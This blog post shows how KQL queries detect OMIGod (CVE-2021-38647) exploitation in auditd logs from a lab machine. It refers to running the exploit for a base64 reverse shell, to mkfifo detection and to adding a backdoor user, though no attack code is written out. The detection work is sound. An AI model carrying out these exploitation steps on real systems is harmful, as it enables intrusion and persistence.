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CVE-2021-38647 OMIGod Exploitation Log Analysis using Kusto Query Language

INTRODUCTION

This post walks you through the log analysis of OMIGod vulnerability exploitation artefacts using kusto query language (KQL). The raw json logs from exploited linux device are fetched into Azure KQL data explorer using externaldata() function and analysed in KQL instance. I have been learning Kusto Query Language as part of my routine and KQL experts can write better queries to fine tune json data than what I have mentioned here 

The Linux device with vulnerable OMI version is configured with Linux Audit Daemon with the best practice configuration 

This blog explains about setting up your own private pwn lab for OMI exploitation 

This great Linux Logging with AuditD video by IppSec  explains how to set up linux logging with Auditd. Below are all the comments by IppSec from the video (no comments from me and full credit goest to IppSec)

  • Installing Auditd
  • Downloading a good baseline ruleset from github 
  • Going over the baseline file to understand how logging works
  • What the -p flag does with files. Logging read/write/execute/attribute change events
  • If you want CWD in your logs, uncomment this line
  • Logging priv_esc events
  • Excluding system accounts from log captures
  • Fun detections to find recon and suspicious activity
  • Logging when users fail to access files in special directories
  • Running the omigod exploit and getting a reverse shell echo/base64
  • Running ausearch to detect what we had done by searching for commands ran by root
  • Using some bashfu to show only commands ran by a ppid
  • Looking for the suspicious activity
  • Analyzing a detection rule for this and understanding the importance of not excluding CWD from logs
  • Checking if mkfifo is detected... yep
  • Installing Laurel to convert Auditd's multiline format to singleline JSON
  • Installing Rust then compiling Laurel
  • Removing End Of Event from Auditd config to see if that fixes the Laurel bug (IT DOES!)
  • Viewing our Auditd logs in JSON Format!  SIEMS will love this!
  • Going over aureport to show some things
  • Looking for why we have so many syscall failures

The above set up has been followed and a successful CVE-2021-38647 exploitation is performed. Find the logs for OMIGod exploited linux device in my Github  gist. 

This blog uses Azure monitor log analytics demo environment  to retrieve the json logs over KQL  externaldata() function. The KQL queries  can be found here on my Github gist 

Identify commands executed from current working directory /var/opt/microsoft/scx/tmp upon a successful exploitation using below KQL query 

//Identify commands executed from current working directory CWD
let omigod_logs = (externaldata ( SYSCALL: string, PROCTITLE: string, PARENT_INFO: string  , PATH: string, CWD: string, ID: string, error: string, 
CONFIG_CHANGE: string, EXECVE: string, USER_END: string, USER_ACCT: string, CRED_DISP: string, USER_START: string, USER_CMD: string, SOCKADDR: string, CRED_REFR: string, 
CRED_ACQ: string, LOGIN: string, USER_AUTH: string, SERVICE_START: string, notice: string, USER_CHAUTHTOK: string, ADD_GROUP: string, DAEMON_START: string, SERVICE_STOP: string, 
ADD_USER: string, values: dynamic)
[@"https://gist.githubusercontent.com/cbresponse/f0500743f0f1c0ad814883ff88bd16f3/raw/a43e6ad7393dda2e412ce481ad506e4fc1807906/omigod2.json"]
with (format="multijson"));
omigod_logs
| extend PARENT_INFO_args=tostring(parse_json(PARENT_INFO).ARGV), parent_launch_datetime=unixtime_seconds_todatetime(tolong(parse_json(PARENT_INFO).launch_time)),
PROCTITLE_args=tostring(parse_json(PROCTITLE).ARGV), CWD_args=tostring(parse_json(CWD).cwd), EXECVE_args=tostring(parse_json(EXECVE).ARGV)
| where isnotempty(EXECVE_args)
//Whitelisting few directories for this example, usually all logs are crucial for any investigation 
| where CWD_args != "/etc/audit/rules.d"
| where CWD_args != "/var/log/laurel"
| where CWD_args != "/var/log/audit"
| where CWD_args != "/tmp"
| where CWD_args != "/root"
| where CWD_args != "/"
| distinct  parent_launch_datetime, EXECVE_args, CWD_args
| sort by parent_launch_datetime asc

Identify recon activity and adding a backdoor user account 



Find all KQL queriers here on my Github gist
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